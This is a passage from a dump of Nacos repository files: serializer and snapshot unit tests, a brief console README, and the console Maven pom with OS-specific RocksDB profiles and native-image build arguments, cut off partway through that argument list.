  }\n    \n    @Test\n    void testSerializerAndDeserialize() {\n        String data = \"xxx\";\n        byte[] bytes = hessianSerializer.serialize(data);\n        \n        try {\n            hessianSerializer.deserialize(bytes);\n        } catch (Exception e) {\n            assertTrue(e instanceof RuntimeException);\n        }\n        \n        String res1 = hessianSerializer.deserialize(bytes, String.class);\n        assertEquals(data, res1);\n        \n        String res2 = hessianSerializer.deserialize(bytes, \"java.lang.String\");\n        assertEquals(data, res2);\n    }\n    \n    @Test\n    void testSerializerAndDeserializeForNotAllowClass() {\n        Serializable data = new HttpException();\n        byte[] bytes = hessianSerializer.serialize(data);\n        \n        try {\n            HttpException res = hessianSerializer.deserialize(bytes);\n            fail(\"deserialize success which is not expected\");\n        } catch (Exception e) {\n            assertTrue(e instanceof ClassCastException);\n        }\n        \n        try {\n            HttpException res1 = hessianSerializer.deserialize(bytes, HttpException.class);\n        } catch (Exception e) {\n            assertTrue(e instanceof NacosDeserializationException);\n        }\n    }\n    \n    @Test\n    void testName() {\n        assertEquals(\"Hessian\", hessianSerializer.name());\n    }\n    \n    @Test\n    void testDeserializeWithEmptyData() {\n        assertNull(hessianSerializer.deserialize(new byte[0], String.class));\n    }\n    \n    @Test\n    void testDeserializeWithType() {\n        String data = \"testType\";\n        byte[] bytes = hessianSerializer.serialize(data);\n        String result = hessianSerializer.deserialize(bytes, (java.lang.reflect.Type) String.class);\n        assertEquals(data, result);\n    }\n    \n    @Test\n    void testDeserializeWithNullData() {\n        assertNull(hessianSerializer.deserialize(null, String.class));\n    }\n    \n    @Test\n    void testDeserializeWithInvalidData() {\n        byte[] validBytes = hessianSerializer.serialize(\"test\");\n        byte[] invalidBytes = new byte[validBytes.length];\n        System.arraycopy(validBytes, 0, invalidBytes, 0, validBytes.length);\n        invalidBytes[validBytes.length / 2] = (byte) 0xff;\n        try {\n            hessianSerializer.deserialize(invalidBytes);\n            fail(\"Should throw RuntimeException\");\n        } catch (RuntimeException e) {\n            assertTrue(e.getMessage().contains(\"IOException\"));\n        }\n    }\n    \n    @Test\n    void testDeserializeWithInvalidClassName() {\n        byte[] bytes = hessianSerializer.serialize(\"test\");\n        Object result = hessianSerializer.deserialize(bytes, \"com.nonexistent.ClassName\");\n        assertNull(result);\n    }\n    \n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/serialize/JacksonSerializerTest.java",
    "content": "/*\n *  Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *       http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.consistency.serialize;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * {@link JacksonSerializer} unit test.\n *\n * @author chenglu\n * @date 2021-07-27 18:32\n */\nclass JacksonSerializerTest {\n    \n    private JacksonSerializer jacksonSerializer;\n    \n    @BeforeEach\n    void setUp() {\n        jacksonSerializer = new JacksonSerializer();\n    }\n    \n    @Test\n    void testSerializerAndDeserialize() {\n        String data = \"xxx\";\n        byte[] bytes = jacksonSerializer.serialize(data);\n        \n        try {\n            jacksonSerializer.deserialize(bytes);\n        } catch (Exception e) {\n            assertTrue(e instanceof UnsupportedOperationException);\n        }\n        \n        String res1 = jacksonSerializer.deserialize(bytes, String.class);\n        assertEquals(data, res1);\n        \n        String res2 = jacksonSerializer.deserialize(bytes, \"java.lang.String\");\n        assertEquals(data, res2);\n    }\n    \n    @Test\n    void testName() {\n        assertEquals(\"JSON\", jacksonSerializer.name());\n    }\n    \n    @Test\n    void testDeserializeWithClassAndEmptyData() {\n        assertNull(jacksonSerializer.deserialize(new byte[0], String.class));\n    }\n    \n    @Test\n    void testDeserializeWithTypeAndEmptyData() {\n        assertNull(jacksonSerializer.deserialize(new byte[0], (java.lang.reflect.Type) String.class));\n    }\n    \n    @Test\n    void testDeserializeWithType() {\n        String data = \"testType\";\n        byte[] bytes = jacksonSerializer.serialize(data);\n        String result = jacksonSerializer.deserialize(bytes, (java.lang.reflect.Type) String.class);\n        assertEquals(data, result);\n    }\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/snapshot/LocalFileMetaTest.java",
    "content": "/*\n *  Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *       http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.consistency.snapshot;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * {@link LocalFileMeta} unit test.\n *\n * @author chenglu\n * @date 2021-07-27 18:43\n */\nclass LocalFileMetaTest {\n    \n    private LocalFileMeta fileMeta;\n    \n    @BeforeEach\n    void setUp() {\n        fileMeta = new LocalFileMeta();\n    }\n    \n    @Test\n    void testAppendAndGet() {\n        fileMeta.append(\"key\", \"value\");\n        assertEquals(\"value\", fileMeta.get(\"key\"));\n    }\n    \n    @Test\n    void testToString() {\n        LocalFileMeta meta = new LocalFileMeta();\n        assertNotNull(meta.toString());\n        assertTrue(meta.toString().contains(\"LocalFileMeta\"));\n    }\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/snapshot/ReaderTest.java",
    "content": "/*\n *  Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *       http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.consistency.snapshot;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\n/**\n * {@link Reader} unit test.\n *\n * @author chenglu\n * @date 2021-07-27 18:46\n */\nclass ReaderTest {\n    \n    private Reader reader;\n    \n    @BeforeEach\n    void setUp() {\n        Map<String, LocalFileMeta> map = new HashMap<>(2);\n        Properties properties = new Properties();\n        properties.put(\"k\", \"v\");\n        map.put(\"a\", new LocalFileMeta(properties));\n        reader = new Reader(\"test\", map);\n    }\n    \n    @Test\n    void test() {\n        assertEquals(\"test\", reader.getPath());\n        \n        assertEquals(1, reader.listFiles().size());\n        \n        assertEquals(\"v\", reader.getFileMeta(\"a\").getFileMeta().getProperty(\"k\"));\n    }\n}\n"
  },
  {
    "path": "consistency/src/test/java/com/alibaba/nacos/consistency/snapshot/WriterTest.java",
    "content": "/*\n *  Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *       http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.consistency.snapshot;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * {@link Writer} unit test.\n *\n * @author chenglu\n * @date 2021-07-28 18:50\n */\nclass WriterTest {\n    \n    private Writer writer;\n    \n    @BeforeEach\n    void setUp() {\n        writer = new Writer(\"test\");\n    }\n    \n    @Test\n    void test() {\n        assertEquals(\"test\", writer.getPath());\n        \n        assertTrue(writer.addFile(\"a\"));\n        \n        assertTrue(writer.addFile(\"b\", new LocalFileMeta()));\n        \n        assertEquals(2, writer.listFiles().size());\n        \n        assertTrue(writer.removeFile(\"a\"));\n        \n        assertEquals(1, writer.listFiles().size());\n    }\n}\n"
  },
  {
    "path": "console/README.md",
    "content": "```shell\n#开发工具本地启动，增加以下 JVM 参数\n-Dnacos.standalone=true\n```"
  },
  {
    "path": "console/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2018 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>com.alibaba.nacos</groupId>\n        <artifactId>nacos-all</artifactId>\n        <version>${revision}</version>\n    </parent>\n    <artifactId>nacos-console</artifactId>\n    <packaging>jar</packaging>\n    <name>nacos-console ${project.version}</name>\n    <url>https://nacos.io</url>\n    \n    <dependencies>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-config</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-naming</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-core</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-copilot</artifactId>\n            <version>${revision}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-ai</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-lock</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-maintainer-client</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-istio</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-prometheus</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-k8s-sync</artifactId>\n        </dependency>\n        \n        <dependency>\n            <groupId>io.modelcontextprotocol.sdk</groupId>\n            <artifactId>mcp</artifactId>\n        </dependency>\n        \n        <!-- log -->\n        <!-- log4j通过slf4j来代理 -->\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>log4j-over-slf4j</artifactId>\n        </dependency>\n        <!-- apache commons logging通过slf4j来代理 -->\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>jcl-over-slf4j</artifactId>\n        </dependency>\n        <!-- java.util.logging 通过slf4j来代理 -->\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>jul-to-slf4j</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-security</artifactId>\n        </dependency>\n        <!-- TODO: Replace hard Derby class references in NacosRuntimeHints with optional reflection registration to remove this compile dependency. -->\n        <dependency>\n            <groupId>org.apache.derby</groupId>\n            <artifactId>derby</artifactId>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-test-autoconfigure</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.hamcrest</groupId>\n            <artifactId>hamcrest</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>default-auth-plugin</artifactId>\n            <version>${project.version}</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n    \n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.graalvm.buildtools</groupId>\n                <artifactId>native-maven-plugin</artifactId>\n                <version>${native-maven-plugin.version}</version>\n            </plugin>\n        </plugins>\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n                <includes>\n                    <include>META-INF/**</include>\n                    <include>static/**</include>\n                    <include>nacos-console.properties</include>\n                    <include>nacos-console-banner.txt</include>\n                    <include>org/apache/derby/modules.properties</include>\n                    <include>librocksdbjni-${hints.os.rocksdb}</include>\n                </includes>\n                <excludes>\n                    <exclude>static/console-ui/.vscode/**</exclude>\n                </excludes>\n            </resource>\n        </resources>\n    </build>\n    \n    <reporting>\n        <plugins>\n            <plugin>\n                <groupId>com.github.spotbugs</groupId>\n                <artifactId>spotbugs-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </reporting>\n\n    <profiles>\n        <profile>\n            <id>dev</id>\n            <activation>\n                <activeByDefault>true</activeByDefault>\n            </activation>\n            <dependencies>\n                <dependency>\n                    <groupId>com.alibaba.nacos</groupId>\n                    <artifactId>nacos-default-plugin-all</artifactId>\n                    <version>${project.version}</version>\n                </dependency>\n            </dependencies>\n        </profile>\n        <profile>\n            <id>native-win64</id>\n            <activation>\n                <os>\n                    <family>windows</family>\n                </os>\n            </activation>\n            <properties>\n                <hints.os.rocksdb>win64.dll</hints.os.rocksdb>\n            </properties>\n        </profile>\n        <profile>\n            <id>native-linux32</id>\n            <activation>\n                <os>\n                    <family>unix</family>\n                    <name>Linux</name>\n                    <arch>x86</arch>\n                </os>\n            </activation>\n            <properties>\n                <hints.os.rocksdb>linux32.so</hints.os.rocksdb>\n            </properties>\n        </profile>\n        <profile>\n            <id>native-linux64</id>\n            <activation>\n                <os>\n                    <family>unix</family>\n                    <name>Linux</name>\n                    <arch>x64</arch>\n                </os>\n            </activation>\n            <properties>\n                <hints.os.rocksdb>linux64.so</hints.os.rocksdb>\n            </properties>\n        </profile>\n        <profile>\n            <id>native-linux-aarch64</id>\n            <activation>\n                <os>\n                    <family>unix</family>\n                    <name>Linux</name>\n                    <arch>aarch64</arch>\n                </os>\n            </activation>\n            <properties>\n                <hints.os.rocksdb>linux-aarch64.so</hints.os.rocksdb>\n            </properties>\n        </profile>\n        <profile>\n            <id>native-linux-ppc64le</id>\n            <activation>\n                <os>\n                    <family>unix</family>\n                    <name>Linux</name>\n                    <arch>aarch64</arch>\n                </os>\n            </activation>\n            <properties>\n                <hints.os.rocksdb>linux-ppc64le.so</hints.os.rocksdb>\n            </properties>\n        </profile>\n        <profile>\n            <id>native-linux-s390x</id>\n            <activation>\n                <os>\n                    <family>unix</family>\n                    <name>Linux</name>\n                    <arch>s390x</arch>\n                </os>\n            </activation>\n            <properties>\n                <hints.os.rocksdb>linux-s390x.so</hints.os.rocksdb>\n            </properties>\n        </profile>\n        <profile>\n            <id>native-osx-arm64</id>\n            <activation>\n                <os>\n                    <family>mac</family>\n                    <arch>arm64</arch>\n                </os>\n            </activation>\n            <properties>\n                <hints.os.rocksdb>osx-arm64.jnilib</hints.os.rocksdb>\n            </properties>\n        </profile>\n        <profile>\n            <id>native-osx-x86_64</id>\n            <activation>\n                <os>\n                    <family>mac</family>\n                    <arch>x86_64</arch>\n                </os>\n            </activation>\n            <properties>\n                <hints.os.rocksdb>osx-x86_64.jnilib</hints.os.rocksdb>\n            </properties>\n        </profile>\n        <profile>\n            <id>native</id>\n            <build>\n                <plugins>\n                    <plugin>\n                        <groupId>org.springframework.boot</groupId>\n                        <artifactId>spring-boot-maven-plugin</artifactId>\n                        <configuration>\n                            <jvmArguments>\n                                -agentlib:native-image-agent=config-merge-dir=src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-console/\n                            </jvmArguments>\n                            <image>\n                                <builder>paketobuildpacks/builder:tiny</builder>\n                                <env>\n                                    <BP_NATIVE_IMAGE>true</BP_NATIVE_IMAGE>\n                                </env>\n                            </image>\n                        </configuration>\n                        <executions>\n                            <execution>\n                                <id>process-aot</id>\n                                <goals>\n                                    <goal>process-aot</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <plugin>\n                        <groupId>org.graalvm.buildtools</groupId>\n                        <artifactId>native-maven-plugin</artifactId>\n                        <configuration>\n                            <imageName>nacos-server</imageName>\n                            <buildArgs>\n                                --add-opens java.base/java.lang=ALL-UNNAMED\n                                --enable-url-protocols=http\n                                --enable-preview\n                                --no-fallback\n                                <!-- Resource Hints -->\n                                -H:IncludeResources='librocksdbjni-${hints.os.rocksdb}'\n                                -H:IncludeResources='.*libnetty_transport_native_epoll_.*\\.so'\n                                <!-- Runtime Hints -->\n                                --initialize-at-run-time=com.google.common.util.concurrent.AbstractFuture$Waiter\n                                --initialize-at-run-time=com.google.common.util.concurrent.AbstractFuture$Listener\n                                --initialize-at-run-time=com.google.protobuf.Any\n                                --initialize-at-run-time=com.google.protobuf.Any$Builder\n                                \n                                --initialize-at-run-time=io.grpc.internal.ServerCallImpl\n                                --initialize-at-run-time=io.grpc.ForwardingServerCall\n                                --initialize-at-run-time=io.grpc.ForwardingServerCall$SimpleForwardingServerCall\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.grpc.netty.WriteQueue\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.grpc.netty.NettyClientStream\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.grpc.netty.NettyServerStream\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.grpc.netty.NettyServerBuilder\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.grpc.netty.NettyServerProvider\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.grpc.netty.NettyChannelBuilder\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.grpc.netty.NettyChannelBuilder$NettyTransportFactory\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.grpc.netty.NettyChannelProvider\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.grpc.netty.NettyClientHandler\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.grpc.netty.NettyClientStream\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.grpc.netty.WriteBufferingAndExceptionHandler\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.grpc.netty.NettyConnection\n                                --initialize-at-run-time=io.grpc.internal.ManagedChannelImpl\n                                --initialize-at-run-time=io.grpc.internal.ManagedChannelImpl$RealChannel\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.channel.socket.nio.NioSocketChannel\n                                --initialize-at-run-time=io.grpc.ServerCall\n                                --initialize-at-run-time=io.grpc.stub.ClientCalls\n                                --initialize-at-run-time=io.grpc.stub.ClientCalls$UnaryStreamToFuture\n                                --initialize-at-run-time=io.grpc.stub.ServerCalls\n                                --initialize-at-run-time=io.grpc.stub.ServerCalls$NoopStreamObserver\n                                --initialize-at-run-time=io.grpc.stub.ServerCalls$ServerCallStreamObserverImpl\n                                --initialize-at-run-time=io.grpc.stub.ServerCalls$StreamingServerCallHandler\n                                --initialize-at-run-time=io.grpc.stub.ServerCallStreamObserver\n                                --initialize-at-run-time=io.grpc.stub.CallStreamObserver\n                                --initialize-at-run-time=io.grpc.stub.StreamObserver\n                                --initialize-at-run-time=io.grpc.protobuf.lite.ProtoInputStream\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.Unpooled\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.PoolArena\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.ByteBufUtil\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.PooledByteBuf\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.ByteBufAllocator\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.PooledSlicedByteBuf\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.UnpooledHeapByteBuf\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.PoolArena$DirectArena\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.UnpooledDirectByteBuf\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.PooledByteBufAllocator\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.AbstractByteBufAllocator\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.UnpooledByteBufAllocator\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.PooledUnsafeDirectByteBuf\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.UnpooledUnsafeDirectByteBuf\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.AbstractPooledDerivedByteBuf\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.AbstractReferenceCountedByteBuf\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.buffer.UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeDirectByteBuf\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.util.AbstractReferenceCounted\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.codec.base64.Base64\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.codec.http.HttpObjectAggregator\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.ssl.OpenSsl\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.ssl.SslUtils\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.ssl.PemValue\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.ssl.PemPrivateKey\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.ssl.JdkSslContext\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.ssl.PemX509Certificate\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.ssl.JdkSslContext$Defaults\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.ssl.OpenSslPrivateKeyMethod\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.ssl.BouncyCastleAlpnSslUtils\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.ssl.OpenSslAsyncPrivateKeyMethod\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.ssl.ReferenceCountedOpenSslEngine\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.handler.ssl.ReferenceCountedOpenSslContext\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.internal.tcnative.SSL\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.internal.tcnative.CertificateVerifier\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.internal.tcnative.SSLPrivateKeyMethod\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.internal.tcnative.AsyncSSLPrivateKeyMethod\n                                --initialize-at-run-time=io.grpc.netty.shaded.io.netty.internal.tcnative.CertificateCompressionAlgo\n                                \n                                --initialize-at-run-time=com.alibaba.nacos.consistency.entity.WriteRequest\n                                --initialize-at-run-time=com.alibaba.nacos.consistency.entity.WriteRequest$Builder\n                                --initialize-at-run-time=com.alibaba.nacos.consistency.entity.ReadRequest\n                                --initialize-at-run-time=com.alibaba.nacos.consistency.entity.ReadRequest$Builder\n                                --initialize-at-run-time=com.alibaba.nacos.consistency.entity.Response\n                                --initialize-at-run-time=com.alibaba.nacos.consistency.entity.Response$Builder\n                                --initialize-at-run-time=com.alibaba.nacos.consistency.entity.GetRequest\n                                --initialize-at-run-time=com.alibaba.nacos.consistency.entity.GetRequest$Builder\n                                --initialize-at-run-time=com.alibaba.nacos.consistency.entity.Log\n                                --initialize-at-run-time=com.alibaba.nacos.consistency.entity.Log$Builder\n                                \n                                --initialize-at-run-time=com.alipay.sofa.jraft.entity.LocalFileMetaOutter$LocalFileMeta\n                                --initialize-at-run-time=com.alipay.sofa.jraft.rpc.ProtobufMsgFactory\n                                \n                                --initialize-at-run-time=org.apache.derby.jdbc.AutoloadedDriver\n                                --initialize-at-run-time=org.apache.derby.jdbc.InternalDriver\n                                --initialize-at-run-time=org.apache.derby.jdbc.Driver42\n                                --initialize-at-run-time=org.apache.derby.jdbc.EmbeddedDriver\n                                --initialize-at-run-time=org.apache.derby.jdbc.ResourceAdapterImpl\n                                --initialize-at-run-time=org.apache.derby.iapi.jdbc.DRDAServerStarter\n                                --initialize-at-run-time=org.apache.derby.iapi.jdbc.JDBCBoot\n                                --initialize-at-run-time=org.apache.derby.iapi.services.SecurityUtil\n                                --initialize-at-run-time=org.apache.derby.iapi.services.monitor.Monitor\n                                --initialize-at-run-time=org.apache.derby.impl.services.monitor.ModuleInstance\n                                --initialize-at-run-time=org.apache.derby.impl.services.monitor.ProtocolKey\n                                --initialize-at-run-time=org.apache.derby.impl.services.monitor.BaseMonitor\n                                --initialize-at-run-time=org.apache.derby.impl.services.monitor.TopService\n                                --initialize-at-run-time=org.apache.derby.iapi.services.cache.ClassSizeCatalogImpl\n\n                                --initialize-at-run-time=com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadata\n                                --initialize-at-run-time=com.alibaba.nacos.naming.core.v2.pojo.HealthCheckInstancePublishInfo\n                                --initialize-at-run-time=com.alibaba.nacos.naming.core.v2.pojo.BatchInstancePublishInfo\n                                --initialize-at-run-time=com.alibaba.nacos.naming.core.v2.pojo.BatchInstanceData\n                                --initialize-at-run-time=com.alibaba.nacos.naming.core.v2.pojo.InstancePublishInfo\n                                --initialize-at-run-time=com.alibaba.nacos.naming.core.v2.pojo.Service\n                                --initialize-at-run-time=com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl\n                                --initialize-at-run-time=com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl$InstanceStoreRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.pojo.Instance\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.request.AbstractNamingRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.grpc.auto.Metadata\n                                --initialize-at-run-time=com.alibaba.nacos.api.grpc.auto.Metadata.Builder\n                                --initialize-at-run-time=com.alibaba.nacos.api.grpc.auto.Payload\n                                --initialize-at-run-time=com.alibaba.nacos.api.grpc.auto.Payload.Builder\n                                --initialize-at-run-time=com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc\n                                --initialize-at-run-time=com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc.BiRequestStreamBlockingStub\n                                --initialize-at-run-time=com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc.BiRequestStreamFutureStub\n                                --initialize-at-run-time=com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc.BiRequestStreamImplBase\n                                --initialize-at-run-time=com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc.BiRequestStreamStub\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.request.InstanceRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.naming.remote.request.PersistentInstanceRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.request.ConfigQueryRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.request.ClientConfigMetricRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.request.ConfigChangeNotifyRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.request.ConfigPublishRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.request.ConfigRemoveRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.request.cluster.ConfigChangeClusterSyncRequest\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.response.ClientConfigMetricResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.response.ConfigChangeNotifyResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.response.ConfigPublishResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.response.ConfigQueryResponse\n                                --initialize-at-run-time=com.alibaba.nacos.api.config.remote.response.ConfigRemoveResponse\n                                